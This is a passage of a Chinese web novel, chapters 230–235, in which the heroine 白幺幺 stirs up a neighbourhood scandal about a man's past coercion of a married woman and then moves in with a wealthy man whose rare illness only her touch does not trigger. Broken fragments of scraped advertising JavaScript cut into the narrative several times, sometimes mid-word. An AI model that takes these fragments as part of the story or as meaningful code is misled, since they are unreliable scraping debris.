谁让韩东韩三少是出了名的痴情种,出去一趟,没经过家里长辈的同意,直接娶了一个乡下丫头。 麻雀飞上枝头变凤凰这样的情况,就发生在身边,大家怎么可能忍住不去关注韩三少娶回来的那个乡下丫头。 韩三少不仅玩了手先斩后奏,把人带回来后,还好几次冲冠怒发为红颜。 在那乡下丫头被圈子里夫人小姐排挤欺负时,一个大老爷们直接去插手后宅娘们的小打小闹。 用行动明明白白的告诉大家,他的女人是被他放心尖上宠着护着的。 就是在家里,那女人和公婆妯娌有矛盾,韩三少都是站在自己女人这边的。 反正就一个字,他的女人,任何人都别想欺负。 甚至那女人进门好几年,都没能生下一儿半女的,韩三少都依旧宠着,也不急,更没有出去外面乱搞啥。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 反正,这男人在圈子里是出了名的洁身自好,加宠妻狂魔。 慢慢的倒是挺多人羡慕那乡下女人,特别是三年前那女人生下了个儿子,也算是开始在她们这个圈子站稳脚跟了。 谁曾想…… 故事很长,时间有限,白幺幺长话短说,精辟总结。 毕竟呀,有时候,说太明白也不好。 总要给听众留点想象空间,与发挥空间。 故事的其中一个男主人公刚好去港城谈事情了,要再过两天才回沪市。 不过故事的唯一女主人公已经闻讯赶来了,那保养得极好的粉嫩脸蛋上不见半丝血丝。 咬着牙齿,不仅心里慌,脑袋也失去了思考能力。 故事讲完后,白幺幺同志气愤难当的捶了捶胸。 “可怜我那养 哥和小侄女哟——” “嗯,还有秦雪嫂子,他们是倒了十八辈子的霉,才遇上了韩东那个变态恶霸,连怀孕的女人都不放过!!!” 秦雪火急火燎的赶到时,刚好听到白幺幺的这段控诉。 她整个人直接摇摇欲坠起来,周围的目光像把钢刀在刮她的肉,各种情绪喷薄而出。 没有意外的,她两眼一闭,华丽丽的晕倒了。 白幺幺:“……” 就这点承受能力? 她推搡了下女主,着急的囔道:“小雪,快看,那就是你妈,她见到你太激动,直接晕倒了。” “那韩东真是不当人呀!也不知道是啥癖好,那么多黄花大闺女不要,就好孕中的妇女这口!” “扯什么救命之恩,他不涌泉相报就算了,根本就是在恩将仇报啊!” “对哦,各位应该都和那韩东是邻居吧,你们可都要注意点,别好心去给那个变态施恩,到头来让人以报恩为借口,给恩将仇报了。” “唉,俺是个大字不识的村妇,可也知道做人不是像那变态这样做的呀!” “呜呜,可怜俺那养哥,小侄女还有秦雪嫂子了……” “呜呜,现在俺那养哥因为思念成疾早早就去了,留下俺那可怜的小侄女,天天在家哭着要找妈妈。” 第230章 年代文里的童养媳(13) “呜呜,小侄女为了让俺带她来找妈妈,整天和俺闹,还要把俺给赶出去,俺这不是也没办法了。” 白幺幺说着伸手去抹了把根本不存在的眼泪,声音隐隐带着点哽咽。 “俺知道自己是个不识字又没啥本事的村妇,和孩子还没有半点血缘关系,孩子怎么都养不亲很正常的” “还有,俺也知道自己拼尽最大努力也只能让孩子吃饱穿暖,勉强上个学。” “可好歹是俺从襁褓就开始拉扯长到这般大的孩子,俺是打心底盼着孩子好。” “孩子整天闹着找妈妈,日子过得实在闹心啊,想到韩东那变态也不是没可取之处的,还有两个臭钱。” 白幺幺说到这,一副义愤填膺的模样,语气却那叫一个理所当然。 “韩东不择手段强抢了俺那秦雪嫂子,要不是俺那侄女当时已经在她肚子里,六个多月了哩!” “他还丧心病狂的想让俺那秦雪嫂子打掉孩子,孩子出生后,直接抢走孩子妈,让孩子从未享受过母爱。” “造孽啊,造孽啊,所以韩东欠俺侄女的,俺想着把侄女带过来,刚好让韩东偿还下欠俺侄女的债。” “孩子能待在亲妈身边,母女俩不用再日日夜夜遭受思女思母之痛,韩东也可以稍稍弥补造下的孽,是不是很那两个啥美。” 白幺幺又抹了把根本不存在的眼泪,微抬了下下巴。 一副别看她没文化,想出来的“法子”是不是很美的模样。 伸长脖子,竖着耳朵听八卦的众人:“……” 蹲在地上不断推搡着她妈,哭声渐渐小下来的女主:“……” 正事办完,白幺幺同志觉得她可以深藏功与名的退下了。 趁着大伙们还在消化,窃窃私语讨论着这一惊天大八卦。 白幺幺同志像条小泥鳅似的,悄无声息的溜走了。 此时不溜更待何时,反正女主她已经送到人家妈手上了,还有她啥事。 等有人讨论着讨论着,遇到点不清楚的细节,想找白幺幺再补全下故事时,才发现人已经不见了。 也就这时,大家似是才发现晕倒的秦雪。 能有啥办法,谁不想听第一手的八卦,所以刚刚没一个有空去发现秦雪晕倒了。 现在没八卦可听了,一个个不就有空起来了。 一个圈子里和秦雪最不对付的千金小姐着急的蹲下身去,对着秦雪的脸,掐其人中来。 那力道,说没掺杂点私人恩怨,谁信呀! “秦雪,秦雪,醒醒啊!” “原来韩三哥不当人啊,你和韩三哥在一起,原来一直在忍辱负重,被强奸……哦,不是被强迫啊!” 掐了好几下人中,人还是一直不醒,这位千金小姐开始扇耳光了。 此时这位千金小姐心中的想法就是,妈的,此时不报仇更待何时。 白慕雪一直喊不醒妈妈,突然被推搡到一边,有点呆呆了。 见人是准备帮她喊醒妈妈的,她便安静的站在一边。 只是…… 瞧着妈妈被人碰到的地方很快就红起来,而妈妈也没醒来,紧接着那人还拿巴掌扇她妈妈。 不得不说,白弘文的洗脑很成功。 白慕雪虽今天才第一次见到妈妈,但感情立马飙升到满格了。 她这只小鸡崽扑腾着翅膀,反向护起母鸡来。 “不许打我妈妈,你这个坏女人。” 千金小姐被推得猝不及防,要不是旁边围满人,被人的小腿挡了下,就摔地上了。 她当即站起来,理智尚在,也没去和个孩子计较。 直接甩袖冷哼,走了,离开前还留下了句话。 “有什么样的妈就有什么样的女儿,我好心帮忙,不领情就算了,还推我,真是没教养。” 千金小姐走后,这时韩家的人才姗姗来迟。 真不怪他们,韩老三是单独搬出来过的,没和他们住一起。 两边住挺近的,却也相距有两三公里。 大早上的,要不是老三家里的刘妈偷偷打电话过来,他们…… 真真是家门不幸,家门不幸啊! 这脸丢的,真的是捡不起来了。 秦雪因着自己的出身,哪怕嫁入豪门当少奶奶了,性子依旧敏感。 '');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' > 大早上的,她最大的难堪就这么被传开。 她没办法不出去,害怕她只要不出现,弘文那养妹就会一直说。 临近出门前,瞧见家里雇佣的几人也想跟着出去。 她哪里不知道,这几人是打心底瞧不起她的。 可那又怎样,谁让她命好,嫁了个好老公。 就此过上被人伺候的日子,而她们呀,这辈子也就伺候人命了。 哼,想跟着一起出去看她笑话,门都没有。 这也就导致了,秦雪晕倒后,只能在地上躺着,等到韩家人来。 要不是老三没在,韩家大哥是真的不想来这一趟。 这一大早的,真不让人安生。 …… 白幺幺买了只烧鸡,哼着歌回宾馆。 吃饱后,她开始干正事,给自己换装。 就她现在 这副打扮,说真的,她自己的都嫌弃。 原主一米六八的个子,五官长得很秀气,最出彩的就是那双眼睛。 用清水将脸上特意涂黑的那层洗掉,出门在外,女孩子还是要懂得保护好自己的。 原主太瘦了,还黑。 俗话说,一白遮百丑,一黑毁所有。 白幺幺又往黑上涂黑,那不就更……丑了。 而她要的就是这效果。 能干出强取豪夺,强制爱的男人,能是什么好货色。 倒腾了半个小时,白幺幺洗干净脸,还在脸上抹了自制的护肤品。 换上一件她昨天买回来,洗干净,晾了一晚上已经干了的连衣裙。 穿上小皮鞋,戴上帽子,白幺幺精简了下自己的行李离开宾馆。 打扮得美美的,白幺幺同志心里很开心。 她这一开心,就不由得感谢起让她挣两百块的某人,她身上这一身行头可是花那两百块买的。 原本她还想着把野山参卖了,不过有了这两百块,她便不急着卖掉那根五十年份的野山参,而是只把一株年份较浅的野山参,黄精,何首乌等其他的药材卖了。 白幺幺花了点小钱打听,最后找到了合适买家。 第231章 年代文里的童养媳(14) 一大包的野生药材,总共才卖了一百八十二块。 拿到钱的那一刻,白幺幺同志不由得又想起了某人。 也不知道下回还会不会有这种好事情找上她,简直比白捡钱还快乐有木有! 白幺幺前脚走出老中医家,后脚一道身影急匆匆的跑进老中医家里来。 如果白幺幺稍稍晚个半分钟离开,两人就能迎头碰上了。 然后她肯定会感慨一声,果然白日里不能念人。 而跑进老中医家的不是别人,正是掏出两百块给白幺幺的张良。 那天回去后,爷让他去找了个女人来。 他哪里不明白爷的意思,满心期待与祈祷着。 只是,找来的女人手指才轻轻点了下爷的手背,被触碰到的那个地方随即就泛红了。 张良有些失望,不过他并没有表现出来。 因为爷虽然面色平静,什么都没说,可他知道爷心里肯定不好受。 之后爷也不知道是较上劲了,还是咋滴,让他又去找一些女人回来。 一连试了十几个,当晚爷全身都起了红疹子,可把他吓坏了。 幸亏请来老中医开了方子,红疹子睡一觉醒来就消退了。 可是,爷也不知道咋想的,今天又要来一次。 张良想了想,干脆过来先把老中医请回去得了。 甚至,他在想,要不自己偷偷派人去把那女人找回来。 就算到时爷知道他的擅作主张,要打要罚他也认了。 …… 沪市是个好地方,白幺幺决定暂时先在这里落脚。 好吧! 她其实就是想在第一线吃瓜。 离开了,她上哪去看自己搞出来的事的后续。 为了融入这个时代,白幺幺同志给自己放了个假,开始当街溜子。 她换了家便宜点的宾馆住着,天一亮就出门,天黑才回来。 每天吃吃喝喝的,真的挺开心的。 当然,她也不是没遇到被人盯上的时候。 只不过是被人盯上的她倒霉,还是盯上她的人倒霉,看她每天乐呵呵就知道了。 白幺幺好吃,这个时代好吃的太多了,主要是这个时代的食材都是天然绿色无公害的。 然后她很悲催的发现,钱啊,它真的很不经花。 这种时候,白幺幺再次想起了两百块! 没错,这是白幺幺给某人起的代号。 她想呀,如果再遇到两百块,对方还要花钱请她摸他。 这回,她一定要狮子大开口。 哼,没个百的,休想让她当个随便的女人。 要不,还是把那根五十年份的野山参卖了? 等离开沪市后,她再寻一处深山老林,进去探探险,寻寻宝。 白幺幺也就是无聊瞎想想的,她马上又开始想其他的。 好男人呀,也不会天上掉下来,更不会自己找上门来。 说真的,她要上哪去找呢? 白幺幺开始思考正事起来。 坐在湖边,白幺幺托着腮在沉思。 忽的,她眼眸一亮。 要不,找个年纪小点的,她直接从小开始培养。 有这样的想法,还是受了原主童养媳这层身份的启发。 童养夫的想法一冒出来,白幺幺立马觉得十分的可行。 与其找个男人来调教,不如直接玩养成。 白幺幺站起身来,一副干劲十足的模样。 “咦?” 白幺幺眨了眨眼睛,确认自己没看错后,眉眼当即染上了喜意。 原来今天是财神爷来敲门了,让她出门巧遇两百块。 白幺幺想也没想,直接朝人走去。 走近时,白幺幺眼尖发现两百块今儿的气色有点不好。 这是生病了? 那她这会儿上门打劫…… 呃,不是,上门做生意,会不会有点不好呀! 只犹豫了一秒,白幺幺还是继续向前走去。 他们这门生意,动手的是她,对方又不用一点力,根本累不着的。 原本走的好好的,在与对方错身而过时,白幺幺同志忽的一个脚崴了。 身体摇晃间,手快去扯男人的胳膊,另一只手则像是慌乱中不经意从男人的侧脸摸过。 唉,摸脸了,是不是有点大尺度呀! 白幺幺真的就只想摸摸小手的,可这不是对方两只手都戴着手套,她根本没得选择。 白幺幺的动作 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 太快,根本没给男人以及跟在身旁的张良等人反应时间。 张良是眼睁睁看着迎面走过来的女人,突然就身体一歪,朝他们爷身上倒去。 而他们爷……竟然没能避开,还被女人的手碰到了脸。 似曾相识的画面,熟悉的错愕,熟悉的无力感。 已经第二次,第二次没保护好爷了。 想到爷这段时间的折腾,今儿再来一回,身体根本吃不消呀! 张良快速从口袋里摸出一个精致小瓷瓶,“爷,快……” 吃药! 没有?爷脸上竟然没有起红疹子! 目的达成,白幺幺还是要面子的。 没等对方推开她,她已经先放开对方的胳膊,然后连连往旁边退了好几步。 “对不起,刚刚不小心脚崴了,实在抱歉。” 白幺幺道歉态度良好,可惜现在谁有空听她道歉。 张良收起震惊脸,脸上是难掩的喜色。 他回头看向白幺幺,很认真的打量起人来。 咦? 他蹙了蹙眉,有点眼熟。 特别是那双眼睛,怎么那么像……火车站遇到的那个女人。 张良仔仔细细的将人从上到下打量了一遍,又暗暗在心里摇头。 应该只是长得有些像而已。 实在不怪张良会这么想,两人的气质和打扮就相差很大,更别说皮肤的颜色相差不止一个度。 歉也道了,对方也没有因她而摔了,还是咋了。 白幺幺理了理身上的衣服,直接离开。 迈出脚步时,她就开始在心里数着数,等着人将她喊住。 没让她等太久,在她数到七时,身后响起了一道声音。 “小姐,等等,先别走。” 瞅着自家爷还站原地发着愣,张良心里那个急啊。 第二个。 皇天不负有心人,又出现第二个特例了。 两相一对比,张良果断选择第二个。 他觉得,肯定是他们爷这段时间的折腾,受的罪,连老天爷都看不下去了。 呜呜,才让他们爷今儿又遇到一个特例。 关键是,姑娘长相气质瞧着都很不错,真的比第一个好太多了。 第232章 年代文里的童养媳(15) 真不是他张良以貌取人,对第一个姑娘有什么歧视或者瞧不起的想法。 实在是他们爷这样一个天之骄子…… 白幺幺转过身来,疑惑出声,打断了张良的思绪。 “你是在喊我吗?有事?” 张良擅作主张的把人喊住,此刻人家问他话,一时他也不知道要说什么了。 就在张良尴尬沉默时,一道清冽的声音响起。 “能借用小姐一点时间吗?” 白幺幺心里一喜,面上却没显露半分。 来了,生意终于送上门来了。 白幺幺面露迟疑之色,咬了咬唇。 而后她有些不确定的问道:“是因为刚刚不小心摔到你身上的事吗?可是,我不是已经道歉了吗?” 男人没有说话,而是朝白幺幺走来。 男人身高腿长的,三两步就走到了她跟前。 “小姐,方便认识一下吗?” 男人说完,朝白幺幺伸出手来,而原本套在手上的手套不知何时已经取下来了。 男人伸出手的同时,还自报了名字。 “我叫月钧枫,小姐如何称呼?” 白幺幺:“……” 不是,这是想不付钱,想白嫖吗? 白幺幺心里的小人瘪下了嘴,表示非常不开心。 她垂眸看了眼男人伸出来的手,装傻充愣道:“同志,你伸出手来干嘛?” “还有,咱们只是萍水相逢,你就这样冒然的上来搭讪,想要认识我,是不是有点孟浪了?” “唉,我刚从外地过来沪市没几天,难道这个地方的男人都是如此不懂矜持的吗?” “果然,女人出门在外还是要保护好自己的,看来我下回出门一定要记得带个面纱啥的。” “长得太好看不是我的错,随便招蜂引蝶就是我的罪过了。” 白幺幺同志不开心了,不开心就直接一阵乱输出,主打的就是要说得爽。 也是要告诉男人一个道理,能花钱解决的那都不叫事,干嘛非得耍啥小聪明。 月钧枫:“……” 他额头青筋抽动了下,面色不变的收回手。 张良等人:“……” 张良侧眸偷偷打量了眼自家爷,还是一如既往的俊逸不凡。 只是因着这段时间的折腾,脸色稍显有些差。 难道对方是因为这,误会他们爷身体不太行,可能是个病秧子。 不然张良实在想不通,他们爷难得主动去结识异性,竟然没能成功。 张良心里着急,想着要怎么帮自家爷给人家姑娘解释解释。 他这边还没想出个好法子来,就听他们爷又说话了,内容让他差点一个没站稳,就要来个平地摔。 “握一次手,两百。” 月钧枫说完,并没有再次伸出手,而是眸光淡淡的看着白幺幺,等待她的回答。 白幺幺:“……” 这是认出她来了? 认出就认出了呗,反正一点不耽误她做生意。 她咬着唇,认真思考起要报个什么价? 张良:“……” 爷,您是要结识人家姑娘,结识人家姑娘的呀! 怎么可以这样说话,拿钱出来侮辱人,到时把人家姑娘气哭气跑咋办。 张良在绞尽脑汁想着补救之法时,白幺幺报价了。 聪明人听口吻,就该知道她拒绝还价的。 “五百。” 白幺幺同志这回原本只想要价三百的,只是对方一开始竟然想白嫖。 是可忍孰不可忍,涨价,必须涨价。 讨价还价不存在的。 在白幺幺报完价,月钧枫紧跟其后回了个“好。” 价格谈好了,两人也不磨叽,直接办正事。 收钱的,白幺幺当然要让人体验到最诚挚的服务。 都不用男人掏帕子,白幺幺自己就十分上道的掏出帕子来擦手。 同时她还解释了一嘴,“月同志你放心,这帕子我洗干净了的。” 白幺幺用来擦手的帕子正是那天在车上,男人掏出来给她用后,让直接扔掉的那块。 她就是猜到后面还用得着,所以没将帕子扔掉,你们信吗? 月钧枫:“……” 他这回真没准备掏出帕子让人擦手的! 至于第一次,主要是一个姑娘说话太……他被激了下才…… 张良:“……” 那帕子?< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' /p> 他连续眨巴眨巴了好几下眼睛,确认自己没看错。 爷的贴身用品都是定制的,随身带的帕子也是。 而爷的帕子怎么会跑到这姑娘手上,呃,不是,这姑娘手上怎么会有爷的帕子。 张良脑门上冒出一个又一个的问号。 月钧枫一言不发,伸出方才收回去的那只手。 白幺幺见了,直接伸手握上去。 两人的手并没有一触即离,而是交缠在一起有个十几秒才分开。 手握了,白幺幺也没不好意思,直接伸手讨钱。 “谈好的五百,给钱吧!” 月钧枫眸色淡淡,微微启唇道:“张良,给钱。” 被点名的张良还有点懵,却不影响他机械式的完成男人的命令。 一会儿的功夫就挣到五百块,白幺幺同志眉眼弯起一个好看的弧度。 做生意么,不是一锤子买卖。 看,今天这不就第二次了。 虽然机会是她争取来的,但留住回头客才是关键。 “同志,下回还想……” 白幺幺停顿了下,朝人眨了下眼睛,意思不言而喻。 “可以继续来找我的,价钱好说,绝对公道,童叟无欺。” 月钧枫:“……” 他唇角肉眼可见的抽搐了下。 张良等人:“……” 张良有点看不懂事态的发展了。 “对了,白幺幺,我的名字。” 都做了两回生意,算熟客,关键是人家都报了名字,她肯定也要说下的。 白幺幺哼着小曲走出一段距离后,又折返回来。 发现男人一行人竟然还站在原地没走,稍稍意外了下,随即露出感动的神情来。 “月同志啊,你说你这人真是的,是个面冷心热的。” “知道我初来沪市,人生地不熟的,想邀请我到你家住下,直接说就是了,我又不会拒绝你这样的好意。” “幸好我回头了,不然你们要在这站多久。” 月钧枫:“……” 他脸上表情有那么一瞬间的龟裂。 张良等人:“……” 不是,是他们错过了什么吗? 第233章 年代文里的童养媳(16) 白幺幺原本是真要离开了的,只是走了几步路,一个想法它就自己冒出来了。 真的,它就自己冒出来了! 她为什么不住到两百块家去? 动不动就是几百几百的往外掏,这证明啥? 两百块家里很有钱? 不不不,有钱这点哪需要这个来证明。 这个能证明的是两百块人傻钱多……错了,应该说是很慷慨很大方。 俗话说,在家靠父母,出门靠兄弟,多个朋友多条路。 白幺幺就觉得两百块很适合当朋友,关键是两人之间可还有某种神奇的“缘分”在了。 而白幺幺都已经想好了,她要去学校读书,她要考大学,她要去学校找童养夫…… 未来她可是有童养夫要养的,所以,她学习之余,还要多多搞钱。 想要轻轻松松完成这些,当然是得给自己找个强有力的可靠盟友。 有现成了的,她干嘛去舍近求远。 心里有了决定,白幺幺同志也不会去做上赶着的那个。 一番话下来,白幺幺同志简直觉得自己太机智了。 见人傻愣愣的站在那儿,她脸上随即露出一副我懂,我都懂的神情。 “月同志你是不是有些害羞,好意被我察觉到了,同时又十分高兴,你的好意被我领了。” 白幺幺很是随意的摆摆手,“没办法,我从小到大就是这般的善解人意,又最不喜欢拂了别人的好意。” 感觉铺垫得差不多了,白幺幺像是恍然想起。 “对了,月同志,你现在是要去哪?回家吗?” “那我们赶紧回去吧,不过回去前,还要麻烦月同志和我先去下宾馆取行李。” 煮熟的鸭子可不能让它飞走,白幺幺不仅自说自话,还直接将活儿给安排好。 月钧枫第一次有想深呼吸的冲动。 他看着人眸光里多了些形容不出来的东西,淡淡的语气中透着不容忽视的认真。 “跟我回家?你真决定好了?” 白幺幺同志毫不迟疑的点头,“月同志,我就是这毛病,不懂得拒绝别人的好意。” 月钧枫深深的看了人一眼,“行。” 宾馆的某间房外,张良等人在门口守着,他们爷陪着白小姐进去收东西了。 就是到现在,张良都还有云里雾里的。 不明白事态发展,怎么就成现在这样了。 不过唯一一点好的,就是都不需要他私下去绑人,或者使用些手段将人请回来。 他们爷竟然主动把白小姐邀请来家里长住(白小姐竟然主动要跟着爷回家)。 与初到这座城市时相对比,白幺幺现在的行李真少得可怜。 因为能卖的,都让她拿去卖了换成钱和票。 三两下的,白幺幺就将东西收拾打包好,就一个不大的包裹。 她提在手上掂了掂,不是很重。 而后她将包裹往某人身前一提,用鼓励的眼神看着人。 “月同志,是时候展现你的绅士风度了。” 白幺幺同志想过了,在还没确定童养夫人选时,她还是要先广撒网,养养备胎的。 什么,说她这是海后行为? 这她可坚决不认,她的养备胎,跟你们想的养备胎可不一样。 她就是为广大女性辛苦点,先将身边的男性“调教”成好男人备用。 最终她也只会选择一个成为对象,其他的可不就是前人栽树后人乘凉。 月钧枫垂眸扫了眼递到面前的东西,微愣了下,而后轻轻“嗯”了声,就将东西接过来了。 白幺幺满意的点了点头,“不错,月同志,继续保持,我看好你哦!” 月钧枫提着东西手臂有那么一瞬间的绷紧,什么话也没说,径直往外走去。 张良见人出来,特别是他们爷手上还拎着东西。 他微微怔愣了下,就忙伸手要去接过他们爷手上的东西。 “爷,我来拎吧。” 月钧枫迟疑了下,“不用,我自己来。” 见鬼了,就刚刚迟疑的功夫,他脑中竟然冒出一道声音来。 “月同志,你这样不行呀……” 白幺幺落后几步出来,刚好听到月钧枫拒绝张良的话,再次满意的点了点头。 月钧枫听到脚步声,用眼角余光扫了眼,刚好捕捉到白幺幺点头的 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 动作。 他提着东西往宾馆外走去,嘴角不知何时勾起一个浅浅的弧度而不自知。 手僵在半空中的张良:“……” 当两手空空的白幺幺从张良身边走过去时,他才回过神来。 忙赶紧跟上去,保护好他们爷。 坐进小轿车里,白幺幺心里不由得又起了感慨。 这个年代,哪怕是沪市,私家车还是比较少见的。 所以啊,又不得不感慨,女主她妈拿的绝对妥妥也是女主剧本。 整那么多辆小轿车接亲,韩东当时也是花了不少钱,费了老大劲,还欠了几个兄弟的人情。 而他这般做,无非就是想尽全力去给心爱之人最好的,当然也有补偿的意思。 家里长辈不同意这 门婚事,他可以先斩后奏,却也没办法强绑着父母哥哥过来参加他和心爱之人的婚礼。 说起来,韩东回来有几天了。 也不知道他们一家子这几天的日子过得怎么样? 是鸡飞狗跳呢?还是鸡飞狗跳呢?! 当汽车拐进某条熟悉的路时,白幺幺同志眼眸倏地亮起来。 她心里想着不会那么巧吧! 白幺幺同志显然是感慨早了,还有更巧的了。 当车子即将驶进一幢漂亮的小洋楼时,白幺幺眼尖的瞅见旁边的房子里走出两个人来。 不是女主和她妈,还能是谁呀! 所以,这是巧合她妈给巧合开门,巧合到家了。 兜兜转转的,她竟然和女主她们成为邻居了。 白幺幺同志不知不觉笑出声来。 月钧枫:“???” 笑完,察觉到落在自己身上的视线,白幺幺同志……完全不尴尬的。 她还回头咧嘴朝人笑了笑,“月同志,我刚刚想到了一个非常好笑的笑话,你要听吗?” 月钧枫点了点头,“说说看。” 不就是讲笑话,白幺幺随口就来。 “一个父亲在教儿子学算术,他问一加一等于多少?儿子回答不知道。父亲有些激动的说是两个呀,笨蛋……我和你加起来是几个人?儿子想也不想说是两个笨蛋!” 第234章 年代文里的童养媳(17) 连续讲了三个笑话,都没能将人逗笑,白幺幺自己倒是笑得花枝乱颤的。 是她笑点低吗? 不是,她就是纯粹开心想笑的。 笑完,她抬眸看向身旁的人。 “月同志,我讲的笑话都不好笑吗?可是我真的觉得很好笑呀!” 月钧枫:“……” 是挺有趣,也挺引人发笑的。 只是从小的教养,以及得了那样的怪病,让他比同龄人还早熟,也更加不会喜形于色。 他点了点头,肯定道:“是挺好笑的。” “挺好笑的,那为什么你没笑呀?” 白幺幺轻皱了下眉,觉得对方在敷衍她。 不过回答她还挺满意的。 好男人的三从四德五不准中,三从中的一条就是老婆讲错要盲从。 就拿她现在的情况来说,关键是笑话好不好笑吗? 不。 关键是在讲笑话的人,不好笑也要回答好笑,情商高点的还要捧场哈哈大笑起来。 嗯,这一条姑且算合格。 月钧枫沉默了一瞬,说:“我笑了。” 白幺幺:“???” 看出她的疑惑,月钧枫解释道:“我在心里笑了,只是面上没显露而已。” 白幺幺:“!!!” 学到了,学到了,原来还能这般回答。 “哦,这样呀。” 白幺幺也没就这一个话题没完没了的,不过她还是嘟哝了句。 “月同志,只是心里笑,哪里有全身都在笑开心,下回试试捧腹大笑,笑得打滚,保证笑完身心舒畅。” 月钧枫:“……” 脑中不受控制浮现他捧腹大笑,甚至笑得在地上打滚的画面…… 身体陡然一个激灵,画面从他脑中消失。 月钧枫随意的回了个“嗯。” 有点被敷衍到了的白幺幺:“……” “月同志,你这样是不行的,容易讨不到媳妇。” 月钧枫听了不急,跟在身后的张良倒是急了,支楞起耳朵来,生怕错过一个字。 都不用人问为什么,白幺幺就自个儿说起来了。 “爱笑的男人才讨媳妇儿喜欢了,就问谁喜欢一个天天对你严肃着张脸或摆张冷脸的人。” “反正,我以后找对象,肯定是要找爱对着我笑的。” 张良停顿了下脚步,他觉得白小姐说的很有道理,只是他们爷? 他偷偷打量了眼他们爷,想着他们爷本来就俊得很,要是能再多笑笑…… 画面太美,张良同志不敢想呀! 好吧,主要是月钧枫察觉到他的打量,赏了他一记冷眼。 月钧枫依旧只是回了个简单“嗯。” 白幺幺:“……” 有种一拳打在棉花上的感觉。 “月同志,你……” 白幺幺说一半,就不说了,让人自行脑补去吧! 月钧枫:“……” 他微顿了下脚步,抬眸看着前方走得欢快的背影,双唇微不可察的动了动。 还支楞着耳朵准备听更多的张良:“……” 不是,白小姐,爷怎么了? 你倒是说下去,说话说一半要不得呀! 白幺幺自来熟的先主人家走进屋里。 老管家听到车声,匆匆从顶楼的花房下来,刚好和进门来的白幺幺撞上。 老管家:“……” 他脱下鼻梁上架着的老花眼镜,从衣服口袋里掏出帕子来擦了擦,才又重新戴上。 没错,是个白……俏生生的姑娘。 刚他还以为自己老眼昏花,看错了。 小少爷是他看着长大的,他当然知道小少爷情况。 这次小少爷来沪市处理事情,需要在这里待个一年半载,他不放心小少爷,就也一起跟过来了。 白幺幺:“……” 她长得比较抽象,不真实吗? 这时月钧枫进来了。 他见到老管家,便随口介绍道:“林伯,这位是白小姐。” “你等下给她安排一间房,她会在这里住一段时间。” 老管家:“……” 他想掏耳朵,看是不是出现幻听了。 小少爷还从未邀请异性来家里做客过,不夸张的说,今儿还是小少爷第一次带异性回家。 只是想到什么,老管家暗暗在心中叹息。 唉,老天爷真是的,怎么就让小少爷得那样的怪病。 老管家那双掩藏在镜片下面的眸 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 子里划过淡淡的惆怅与心疼,不过很快被喜悦替代。 他笑得慈爱的点头,“好,好的,小少爷,我现在就去安排。” 老管家说完,就匆匆离开去安排了。 相较于刚刚下楼时的脚步,他现在上楼的脚步明显轻快不少。 张良:“……” 这种时候,他还是很有眼力见的,忙冲着老管家背影喊道:“林伯,我来帮你。” 一楼客厅一下子只剩下白幺幺和月钧枫两人。 白幺幺自己寻了个位置坐下,还招呼道:“月同志,快过来坐下。” 没见到女主时,白幺幺还 没那么急着想知道那天之后的后续。 可是今儿见到女主以及她妈,白幺幺就有点迫不及待的想知道了。 嗯,如果事情发展达不到她的期待,她好再做点什么。 月钧枫看着那又灿烂了几分的笑脸,心中生出了迟疑。 差不多就是直觉告诉他,别过去,过去肯定会后悔的。 可是吧,双脚暂时摆脱了大脑的控制。 等在女人小手拍过的地方坐下后,月钧枫难得的懊恼了下。 人一坐下,白幺幺就直入主题。 “月同志,隔壁邻居家近期发生的事,你应该有所耳闻吧?” 白幺幺说话时,双眸闪烁着八卦的光。 被这样一双眼睛盯着看,月钧枫轻轻颔首。 他书房里还有一份相关资料,挺详细的。 “不错,月同志,你一看就是热心肠,关心友爱邻里的好同志。” 突然被夸的月钧枫:“……” 其实月家和沪市的韩家关系一般,他和韩东更是不熟的。 紧接着,白幺幺话锋一转。 “不过呀,月同志,你的邻居人品不行呀,你要少和这种人往来。” 月钧枫赞同的点头,随后问道:“白小姐和韩东有过节?” 白幺幺没想到他会这么问,诚实的摇头。 “没有呀,我都没见过他,也不认识他,能有啥过节。” 月钧枫:“……” 他想问,既然没有,那日为何闹出那般大动静。 只是,到嘴边的话就变成了,“韩东不是什么好人,白小姐以后要是见了此人,注意点。” 第235章 年代文里的童养媳(18) 白幺幺小鸡啄米似的点头,“知道,我当然知道那韩东他就是变态恶霸,不过还是谢谢月同志的提醒。” “还有,月同志,你瞧着就知道是个好的,和韩东那种变态不是一类人的。” 顺道夸了下人后,白幺幺话锋又是一转。 “对了,月同志,你住韩东家隔壁,这几天有没有时常听到啥声音?” “比如男女的吵架声?再比如女人凄凄惨惨戚戚的哭声?” 白幺幺神色期待的看着人。 月钧枫:“……” 他真的不擅长与人道八卦。 良久,他神色有些不自然的轻咳一声, “是有,有听到一点点。” 其实,那天早上他也是睡梦中被吵醒的一员。 而且第一时间就听出她的声音了,怎么形容他当时的心理呢? 很复杂,真的很复杂。 二十几年来,唯一与他肌肤接触,没有引起他发病的异性。 对他来说肯定是特别的,而对方本身又……很特别。 双重特别的叠加,让他一时生出了不符合这个年龄的逆反心理。 附近的住户都出去凑热闹了,他当然没有出去。 林伯见他被吵醒了,微皱着眉向他请示需不需要让人出去看看。 他当时想也不想就对林伯说不用,有他发话了,下面的人各司其职,倒没有人跑出去看热闹。 之后,关于这件事的资料,他下意识没让张良去查,而是交给了另外的人。 张良的心思,他哪里猜不到。 只是他…… 白幺幺兴奋的追问道:“都听到了些什么?” “吵起来了”,月钧枫憋了好一会才憋出这么几个字来。 “谁吵起来了?是韩东和他老婆吗?” 白幺幺想着光吵起来哪里行,最好是打起来,越乱越好。 “不是,是韩家长辈过来和韩东吵起来了。” 白幺幺听后,有些失望的啧了声。 月钧枫瞧见人露出失望的神情,张了张唇,最后还是道:“不过听说韩东打了他老婆一巴掌。” 白幺幺:“……” “真哒?” 